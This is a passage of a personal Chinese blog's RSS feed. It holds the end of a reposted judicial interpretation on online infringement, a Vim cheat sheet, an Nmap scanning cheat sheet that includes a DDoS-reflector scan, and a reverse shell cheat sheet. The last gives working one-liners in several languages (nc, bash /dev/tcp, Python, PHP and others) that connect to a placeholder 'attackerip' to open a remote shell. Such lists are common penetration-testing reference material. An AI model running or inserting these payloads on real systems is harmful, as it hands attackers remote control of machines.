<p>第二条 利用信息网络侵害人身权益提起的诉讼,由侵权行为地或者被告住所地人民法院管辖。侵权行为实施地包括实施被诉侵权行为的计算机等终端设备所在地,侵权结果发生地包括被侵权人住所地。</p>
<p>第三条 原告依据侵权责任法第三十六条第二款、第三款的规定起诉网络用户或者网络服务提供者的,人民法院应予受理。</p>
<p>原告仅起诉网络用户,网络用户请求追加涉嫌侵权的网络服务提供者为共同被告或者第三人的,人民法院应予准许。</p>
<p>原告仅起诉网络服务提供者,网络服务提供者请求追加可以确定的网络用户为共同被告或者第三人的,人民法院应予准许。</p>
<p>第四条 原告起诉网络服务提供者,网络服务提供者以涉嫌侵权的信息系网络用户发布为由抗辩的,人民法院可以根据原告的请求及案件的具体情况,责令网络服务提供者向人民法院提供能够确定涉嫌侵权的网络用户的姓名(名称)、联系方式、网络地址等信息。</p>
<p>网络服务提供者无正当理由拒不提供的,人民法院可以依据民事诉讼法第一百一十四条的规定对网络服务提供者采取处罚等措施。</p>
<p>原告根据网络服务提供者提供的信息请求追加网络用户为被告的,人民法院应予准许。</p>
<p>第十条 人民法院认定网络用户或者网络服务提供者转载网络信息行为的过错及其程度,应当综合以下因素: (一)转载主体所承担的与其性质、影响范围相适应的注意义务;(二)所转载信息侵害他人人身权益的明显程度。</p>
<p>第十五条 雇佣、组织、教唆或者帮助他人发布、转发网络信息侵害他人人身权益,被侵权人请求行为人承担连带责任的,人民法院应予支持。</p>
<p>第十六条 人民法院判决侵权人承担赔礼道歉、消除影响或者恢复名誉等责任形式的,应当与侵权的具体方式和所造成的影响范围相当。侵权人拒不履行的,人民法院可以采取在网络上发布公告或者公布裁判文书等合理的方式执行,由此产生的费用由侵权人承担。</p>
<p>第十八条 被侵权人为制止侵权行为所支付的合理开支,可以认定为侵权责任法第二十条规定的财产损失。合理开支包括被侵权人或者委托代理人对侵权行为进行调查、取证的合理费用。人民法院根据当事人的请求和具体案情,可以将符合国家有关部门规定的律师费用计算在赔偿范围内。</p>
<p>被侵权人因人身权益受侵害造成的财产损失或者侵权人因此获得的利益无法确定的,人民法院可以根据具体案情在 50 万元以下的范围内确定赔偿数额。</p>
<p>转载自:<a href="https://m.weibo.cn/detail/4526016293356439">原文地址</a> 作者:不太老</p></description></item><item><title>Vim Cheat Sheet</title><link>https://hare.one/cheatsheet/vim-cheat-sheet/</link><pubDate>Wed, 01 Jul 2020 17:32:10 +0800</pubDate><guid>https://hare.one/cheatsheet/vim-cheat-sheet/</guid><description><h3 id="全局">全局</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">:h[elp] 关键字 - 打开关键字帮助
:sav[eas] 文件名 - 另存为
:clo[se] - 关闭当前窗口
:ter[minal] - open a terminal window
K - 打开光标所在单词的man页面
</code></pre><h3 id="移动光标">移动光标</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">h - 左移光标
j - 下移光标
k - 上移光标
l - 右移光标
H - 移动到当前页面顶部
M - 移动到当前页面中间
L - 移动到当前页面底部
w - 移动到下个单词开头
W - 移动到下个单词开头(单词含标点)
e - 移动到下个单词结尾
E - 移动到下个单词结尾(单词含标点)
b - 移动到上个单词开头
B - 移动到上个单词开头(单词含标点)
% - 跳转到配对的符号(默认支持的配对符号组:: &#39;()&#39;, &#39;{}&#39;, &#39;[]&#39; - 在vim中使用 :h matchpairs 获得更多信息)
0 - 移动到行首
^ - 移动到行首的非空白符
$ - 移动到行尾
g_ - 移动到行内最后一个非空白符
gg - 移动到文件第一行
G - 移动到文件最后一行
5gg or 5G - 移动到第五行
fx - 移动到字符 x 下次出现的位置
tx - 移动到字符 x 下次出现的位置的前一个字符
Fx - 移动到字符 x 上次出现的位置
Tx - 移动到字符 x 上次出现的位置的后一个字符
; - 重复之前的f、t、F、T操作
, - 反向重复之前的f、t、F、T操作
} - 移动到下一个段落 (当编辑代码时则为函数/代码块)
{ - 移动到上一个段落 (当编辑代码时则为函数/代码块)
zz - 移动屏幕使光标居中
Ctrl + e - 向下移动屏幕一行(保持光标不动)
Ctrl + y - 向上移动屏幕一行(保持光标不动)
Ctrl + b - 向上滚动一屏
Ctrl + f - 向下滚动一屏
Ctrl + d - 向下滚动半屏
Ctrl + u - 向上滚动半屏
</code></pre><h3 id="插入模式---插入追加文本">插入模式 - 插入/追加文本</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">i - 从光标前开始插入字符
I - 从行首开始插入字符
a - 从光标后开始插入字符
A - 从行尾开始插入字符
o - 在当前行之下另起一行, 开始插入字符
O - 在当前行之上另起一行, 开始插入字符
ea - 从当前单词末尾开始插入
Ctrl + h - 在插入模式下,删除光标之前的一个字符
Ctrl + w - 在插入模式下,删除光标之前的一个单词
Ctrl + j - 在插入模式下,从光标处开始新行
Ctrl + t - 在插入模式下,缩进一个宽度
Ctrl + d - 在插入模式下,取消缩进一个宽度
Ctrl + n - 在插入模式下,用下一个匹配自动补全
Ctrl + p - 在插入模式下,用上一个匹配自动补全
Esc - 退出插入模式
</code></pre><h3 id="编辑文本">编辑文本</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">r - 替换当前字符
J - 将下一行合并到当前行, 并在两部分文本之间插入一个空格
gJ - 将下一行合并到当前行, 两部分文本之间不含空格
gwip - 重新调整段落
g~ - 切换所选区域大小写
gu - 将所选区域调整为小写
gU - 将所选区域调整为大写
cc - 将光标所在的行删除, 然后进入插入模式
C - 将光标处到行尾删除, 然后进入插入模式
c$ - 将光标处到行尾删除, 然后进入插入模式
ciw - 将光标所在的单词删除, 然后进入插入模式
cw - 从光标位置开始, 修改单词
s - 删除当前字符, 然后进入插入模式
S - 清空当前行, 然后进入插入模式 (同cc)
xp - 当前字符后移
u - 撤销
U - 撤销本当前行的上次操作
Ctrl + r - 重复
. - 再次执行上个命令
</code></pre><h3 id="选择文本可视化模式">选择文本(可视化模式)</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">v - 进入可视化模式, 移动光标高亮选择, 然后可以对选择的文本执行命令(比如y-复制)
V - 进入可视化模式(行粒度选择)
o - 切换光标到选择区开头/结尾
Ctrl + v - 进入可视化模式(矩阵选择)
O - 切换光标到选择区的角
aw - 选择当前单词
ab - 选择被 () 包裹的区域(含括号)
aB - 选择被 {} 包裹的区域(含花括号)
at - 选择被 &lt;&gt; 包裹的区域(含尖括号)
ib - 选择被 () 包裹的区域(不含括号)
iB - 选择被 {} 包裹的区域(不含花括号)
it - 选择被 &lt;&gt; 包裹的区域(不含尖括号)
Esc - 退出可视化模式
</code></pre><h3 id="可视化模式命令">可视化模式命令</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">&gt; - 向右缩进
&lt; - 向左缩进
y - 复制
d - 剪切
~ - 大小写切换
u - 将选定区域切换为小写
U - 将选定区域切换为大写
</code></pre><h3 id="寄存器">寄存器</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">:reg[isters] - 显示寄存器内容
&#34;xy - 复制内容到寄存器 x
&#34;xp - 粘贴寄存器 x 中的内容
&#34;+y - 复制内容到系统剪贴板寄存器
&#34;+p - 从系统剪贴板寄存器中粘贴
Tip 寄存器被存储在 ~/.viminfo 中, 在下次重启vim时仍会加载
</code></pre><h3 id="标记">标记</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">:marks - 标记列表
ma - 设置当前位置为标记 a
`a - 跳转到标记 a 的位置
y`a - 复制当前位置到标记 a 的内容
`0 - 跳转到 Vim 上一次使用文件的位置
`&#34; - 跳转到上一次退出文件时的位置
`. - 跳转到当前文件最近编辑的位置
`` - 跳转到上一次跳转前的位置
:ju[mps] - 列出跳转位置
Ctrl + i - 向前跳到前几次光标位置
Ctrl + o - 向后跳到后几次光标位置
:changes - 列出当前文件的所有改动
g, - 跳转到改动列表里面更新的位置
g; - 跳转到改动列表里面更旧的位置
Ctrl + ] - 跳转到光标所在位置的 tag
</code></pre><h3 id="宏">宏</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">qa - 录制宏 a
q - 停止录制宏
@a - 执行宏 a
@@ - 重新执行上次执行的宏
</code></pre><h3 id="剪切-复制-粘贴">剪切, 复制, 粘贴</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">yy - 复制当前行
2yy - 复制 2 行
yw - 复制当前单词
y$ - 复制, 从光标位置到行末
p - 在光标后粘贴
P - 在光标前粘贴
dd - 剪切当前行
2dd - 剪切 2 行
dw - 剪切当前单词
D - 剪切, 从光标位置到行末
d$ - 剪切, 从光标位置到行末 (同D)
x - 剪切当前字符
</code></pre><h3 id="文本缩进">文本缩进</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">&gt;&gt; - 当前行增加shiftwidth宽度的缩进
&lt;&lt; - 当前行减少shiftwidth宽度的缩进
&gt;% - 增加缩进当前光标位置被 () 或 {} 包裹的代码块(包括 (){})
&gt;ib - 增加缩进被 () 包裹的代码块(不包括())
&gt;at - 增加缩进被 &lt;&gt; 包裹的代码块
3== - 重新缩进三行
=% - 重新缩进光标位置所在处被 () 或 {} 包裹的代码块(包括 (){})
=iB - 重新缩进被 {} 包裹的代码块(不包括 {})
gg=G - 重新缩进全文
]p - 粘贴并调整缩进以匹配当前行
</code></pre><h3 id="退出">退出</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">:w - 保存
:w !sudo tee % - 使用 sudo 保存当前文件
:wq or :x or ZZ - 保存并退出
:q - 退出(修改未保存时警告)
:q! or ZQ - 不保存强制退出
:wqa - 保存所有标签页并全部退出
</code></pre><h3 id="查找替换">查找/替换</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">/pattern - 查找pattern
?pattern - 向上查找pattern
\vpattern - pattern 中的非字母数字字符被视为正则表达式特殊字符 (不需转义字符)
n - 查找下一个
N - 查找上一个
:%s/old/new/g - 替换全部
:%s/old/new/gc - (逐个)替换
:noh[lsearch] - 移除搜索结果的高亮显示
</code></pre><h3 id="多文件搜索">多文件搜索</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">:vim[grep] /pattern/ {`{file}`} - 在多个文件中搜索 pattern
:cn[ext] - 移动至下一个
:cp[revious] - 移动至上一个
:cope[n] - 打开搜索结果列表
</code></pre><h3 id="多文件编辑">多文件编辑</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">:e[dit] 文件名 - 新建缓冲区打开 filename
:bn[ext] or :bn - 切换到下个缓冲区
:bp[revious] or :bp - 切换到上个缓冲区
:bd[elete] - 关闭缓冲区
:b# - 按数字编号跳转到缓冲
:b file - 按文件名跳转到缓冲
:ls - 列出所有打开的缓冲区
:sp[lit] 文件名 - 新建缓冲区打开 filename 并水平分割窗口
:vs[plit] 文件名 - 新缓冲区打开 filename 并垂直分割窗口
:vert[ical] ba[ll] - 以垂直分割窗口编辑缓冲区
:tab ba[ll] - 以标签页编辑缓冲区
Ctrl + ws - 水平分割窗口
Ctrl + wv - 垂直分割窗口
Ctrl + ww - 在窗口间切换
Ctrl + wq - 关闭窗口
Ctrl + wx - 交换当前窗口和下一个窗口
Ctrl + w= - 调整所有窗口等宽高
Ctrl + wh - 切换到右侧窗口
Ctrl + wl - 切换到左侧窗口
Ctrl + wj - 切换到下侧窗口
Ctrl + wk - 切换到上侧窗口
</code></pre><h3 id="标签">标签</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">:tabnew or :tabnew {page.words.file} - 在新标签中打开文件
Ctrl + wT - 将窗口变成标签
gt or :tabn[ext] - 切换到下一个标签
gT or :tabp[revious] - 切换到上一个标签
#gt - 切换到第 # 个标签
:tabm[ove] # - 移动标签到第 # 位(下标从 0 开始)
:tabc[lose] - 关闭当前标签
:tabo[nly] - 关闭其他标签
:tabdo command - 在所有标签中执行命令 (例如 :tabdo q 关闭所有标签)
</code></pre><h3 id="diff">Diff</h3>
<pre tabindex="0"><code class="language-wiki" data-lang="wiki">zf - 手动定义向上折叠
zd - 删除光标下的折叠
za - 切换光标下折叠状态
zo - 打开光标下的折叠
zc - 关闭光标下的折叠
zr - 减少 (reduce) 折叠
zm - 折起更多 (more)
zi - 翻转 &#39;foldenable&#39; 的值
]c - 跳转到下个差异点
[c - 跳转到上个差异点
do or :diffg[et] - 将另一窗口中差异点处的内容拉取到当前位置并进行替换操作
dp or :diffpu[t] - 将当前差异点中的内容覆盖到另一文件中的对应位置
:diffthis - 使当前窗口参与比较
:dif[fupdate] - 刷新比较结果的高亮和折叠
:diffo[ff] - 为当前窗口关闭比较模式
</code></pre></description></item><item><title>Nmap Cheat Sheet</title><link>https://hare.one/cheatsheet/namp-cheat-sheet/</link><pubDate>Wed, 01 Jul 2020 17:27:34 +0800</pubDate><guid>https://hare.one/cheatsheet/namp-cheat-sheet/</guid><description><h3 id="nmap-target-selection">Nmap Target Selection</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#Scan a single IP</span>
</span></span><span style="display:flex;"><span>nmap 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan a host</span>
</span></span><span style="display:flex;"><span>nmap www.testhostname.com
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan a range of IPs</span>
</span></span><span style="display:flex;"><span>nmap 192.168.1.1-20
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan a subnet</span>
</span></span><span style="display:flex;"><span>nmap 192.168.1.0/24
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan targets from a text file</span>
</span></span><span style="display:flex;"><span>nmap -iL list-of-ips.txt
</span></span></code></pre></div><h3 id="nmap-port-selection">Nmap Port Selection</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#Scan a single Port</span>
</span></span><span style="display:flex;"><span>nmap -p <span style="color:#ae81ff">22</span> 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan a range of ports</span>
</span></span><span style="display:flex;"><span>nmap -p 1-100 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan 100 most common ports (Fast)</span>
</span></span><span style="display:flex;"><span>nmap -F 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan all 65535 ports</span>
</span></span><span style="display:flex;"><span>nmap -p- 192.168.1.1
</span></span></code></pre></div><h3 id="nmap-port-scan-types">Nmap Port Scan types</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#Scan using TCP connect</span>
</span></span><span style="display:flex;"><span>nmap -sT 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan using TCP SYN scan (default)</span>
</span></span><span style="display:flex;"><span>nmap -sS 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan UDP ports</span>
</span></span><span style="display:flex;"><span>nmap -sU -p 123,161,162 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan selected ports - ignore discovery</span>
</span></span><span style="display:flex;"><span>nmap -Pn -F 192.168.1.1
</span></span></code></pre></div><h3 id="service-and-os-detection">Service and OS Detection</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#Detect OS and Services</span>
</span></span><span style="display:flex;"><span>nmap -A 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Standard service detection</span>
</span></span><span style="display:flex;"><span>nmap -sV 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#More aggressive Service Detection</span>
</span></span><span style="display:flex;"><span>nmap -sV --version-intensity <span style="color:#ae81ff">5</span> 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Lighter banner grabbing detection</span>
</span></span><span style="display:flex;"><span>nmap -sV --version-intensity <span style="color:#ae81ff">0</span> 192.168.1.1
</span></span></code></pre></div><h3 id="nmap-output-formats">Nmap Output Formats</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#Save default output to file</span>
</span></span><span style="display:flex;"><span>nmap -oN outputfile.txt 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Save results as XML</span>
</span></span><span style="display:flex;"><span>nmap -oX outputfile.xml 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Save results in a format for grep</span>
</span></span><span style="display:flex;"><span>nmap -oG outputfile.txt 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Save in all formats</span>
</span></span><span style="display:flex;"><span>nmap -oA outputfile 192.168.1.1
</span></span></code></pre></div><h3 id="digging-deeper-with-nse-scripts">Digging deeper with NSE Scripts</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#Scan using default safe scripts</span>
</span></span><span style="display:flex;"><span>nmap -sV -sC 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Get help for a script</span>
</span></span><span style="display:flex;"><span>nmap --script-help<span style="color:#f92672">=</span>ssl-heartbleed
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan using a specific NSE script</span>
</span></span><span style="display:flex;"><span>nmap -sV -p <span style="color:#ae81ff">443</span> –script<span style="color:#f92672">=</span>ssl-heartbleed.nse 192.168.1.1
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Scan with a set of scripts</span>
</span></span><span style="display:flex;"><span>nmap -sV --script<span style="color:#f92672">=</span>smb* 192.168.1.1
</span></span></code></pre></div><h3 id="a-scan-to-search-for-ddos-reflection-udp-services">A scan to search for DDOS reflection UDP services</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#Scan for UDP DDOS reflectors</span>
</span></span><span style="display:flex;"><span>nmap –sU –A –PN –n –pU:19,53,123,161 –script<span style="color:#f92672">=</span>ntp-monlist,dns-recursion,snmp-sysdescr 192.168.1.0/24
</span></span></code></pre></div><h3 id="http-service-information">HTTP Service Information</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#Gather page titles from HTTP services</span>
</span></span><span style="display:flex;"><span>nmap --script<span style="color:#f92672">=</span>http-title 192.168.1.0/24
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Get HTTP headers of web services</span>
</span></span><span style="display:flex;"><span>nmap --script<span style="color:#f92672">=</span>http-headers 192.168.1.0/24
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Find web apps from known paths</span>
</span></span><span style="display:flex;"><span>nmap --script<span style="color:#f92672">=</span>http-enum 192.168.1.0/24
</span></span></code></pre></div><h3 id="detect-heartbleed-ssl-vulnerability">Detect Heartbleed SSL Vulnerability</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#Heartbleed Testing</span>
</span></span><span style="display:flex;"><span>nmap -sV -p <span style="color:#ae81ff">443</span> --script<span style="color:#f92672">=</span>ssl-heartbleed 192.168.1.0/24
</span></span></code></pre></div><h3 id="ip-address-information">IP Address information</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#Find Information about IP address</span>
</span></span><span style="display:flex;"><span>nmap --script<span style="color:#f92672">=</span>asn-query,whois,ip-geolocation-maxmind 192.168.1.0/24
</span></span></code></pre></div></description></item><item><title>Reverse Shell Cheat Sheet</title><link>https://hare.one/cheatsheet/reverse-shell-cheat-sheet/</link><pubDate>Tue, 30 Jun 2020 17:22:05 +0800</pubDate><guid>https://hare.one/cheatsheet/reverse-shell-cheat-sheet/</guid><description><h2 id="利用-nc-监听端口">利用 nc 监听端口</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nc -lvp <span style="color:#ae81ff">2333</span>
</span></span></code></pre></div><h2 id="nc-版本">nc 版本</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nc -e /bin/sh attackerip <span style="color:#ae81ff">2333</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc attackerip <span style="color:#ae81ff">2333</span> &gt;/tmp/f
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>nc attackerip 8888|/bin/sh|nc attackerip <span style="color:#ae81ff">9999</span>
</span></span></code></pre></div><h2 id="bash-版本">Bash 版本</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bash -i &gt;&amp; /dev/tcp/attackerip/2333 0&gt;&amp;<span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bash -i &gt;&amp; /dev/tcp/attackerip/2333 &lt;&amp;<span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>exec 5&lt;&gt;/dev/tcp/attackerip/2333;cat &lt;&amp;5|<span style="color:#66d9ef">while</span> read line;<span style="color:#66d9ef">do</span> $line &gt;&amp;<span style="color:#ae81ff">5</span> 2&gt;&amp;1;<span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>0&lt;&amp;196;exec 196&lt;&gt;/dev/tcp/attackerip/4444; sh &lt;&amp;<span style="color:#ae81ff">196</span> &gt;&amp;<span style="color:#ae81ff">196</span> 2&gt;&amp;<span style="color:#ae81ff">196</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mknod backpipe p; nc attackerip <span style="color:#ae81ff">2333</span> 0&lt;backpipe | /bin/bash 1&gt;backpipe 2&gt;backpipe
</span></span></code></pre></div><h2 id="perl-版本">Perl 版本</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>perl -e <span style="color:#e6db74">&#39;use Socket;$i=&#34;attackerip&#34;;$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&#34;tcp&#34;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&#34;&gt;&amp;S&#34;);open(STDOUT,&#34;&gt;&amp;S&#34;);open(STDERR,&#34;&gt;&amp;S&#34;);exec(&#34;/bin/sh -i&#34;);};&#39;</span>
</span></span></code></pre></div><h2 id="python-版本">Python 版本</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python -c <span style="color:#e6db74">&#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#34;attackerip&#34;,2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&#34;/bin/sh&#34;,&#34;-i&#34;]);&#39;</span>
</span></span></code></pre></div><h2 id="php-版本">php 版本</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>php -r <span style="color:#e6db74">&#39;$sock=fsockopen(&#34;attackerip&#34;,2333);exec(&#34;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&#34;);&#39;</span>
</span></span></code></pre></div><h2 id="ruby-版本">Ruby 版本</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ruby -rsocket -e<span style="color:#e6db74">&#39;f=TCPSocket.open(&#34;attackerip&#34;,2333).to_i;exec sprintf(&#34;/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d&#34;,f,f,f)&#39;</span>
</span></span></code></pre></div><h2 id="java-版本">Java 版本</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>r <span style="color:#f92672">=</span> Runtime.getRuntime<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span>p <span style="color:#f92672">=</span> r.exec<span style="color:#f92672">([</span><span style="color:#e6db74">&#34;/bin/bash&#34;</span>,<span style="color:#e6db74">&#34;-c&#34;</span>,<span style="color:#e6db74">&#34;exec 5&lt;&gt;/dev/tcp/attackerip/2333;cat &lt;&amp;5 | while read line; do \\</span>$line<span style="color:#e6db74"> 2&gt;&amp;5 &gt;&amp;5; done&#34;</span><span style="color:#f92672">]</span> as String<span style="color:#f92672">[])</span>
</span></span><span style="display:flex;"><span>p.waitFor<span style="color:#f92672">()</span>
</span></span></code></pre></div><h2 id="lua-版本">Lua 版本</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>lua -e <span style="color:#e6db74">&#34;require(&#39;socket&#39;);require(&#39;os&#39;);t=socket.tcp();t:connect(&#39;attackerip&#39;,&#39;2333&#39;);os.execute(&#39;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&#39;);&#34;</span>
</span></span></code></pre></div></description></item><item><title>Test</title><link>https://hare.one/test/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://hare.one/test/</guid><description><p>这是一个测试页面</p>
<h2 id="用于测试博客主题的修改markdown-的样式等">用于测试博客主题的修改、markdown 的样式等</h2>
<h2 id="test-1">TEST 1</h2>
<h1 id="this-is-an-h1-tag">This is an &lt;h1&gt; tag</h1>
<h2 id="test-2">TEST 2</h2>
<h2 id="this-is-an-h2-tag">This is an &lt;h2&gt; tag</h2>
<h2 id="test-3">TEST 3</h2>
<h3 id="this-is-an-h3-tag">This is an &lt;h3&gt; tag</h3>
<h2 id="test-4">TEST 4</h2>
<h4 id="this-is-an-h4-tag">This is an &lt;h4&gt; tag</h4>
<h2 id="test-5">TEST 5</h2>
<h5 id="this-is-an-h5-tag">This is an &lt;h5&gt; tag</h5>
<h2 id="test-6">TEST 6</h2>
<h6 id="this-is-an-h6-tag">This is an &lt;h6&gt; tag</h6>
<h2 id="test-7">TEST 7</h2>
<p><strong>This line has some bold text</strong>.</p>
<h2 id="test-8">TEST 8</h2>
<p><em>This line has some italic text</em>.</p>
<h2 id="test-9">TEST 9</h2>
<p><del>This line has some wasted text</del>.</p>
<h2 id="test-10">TEST 10</h2>
<p><a href="https://hare.one">This line has a link</a>.</p>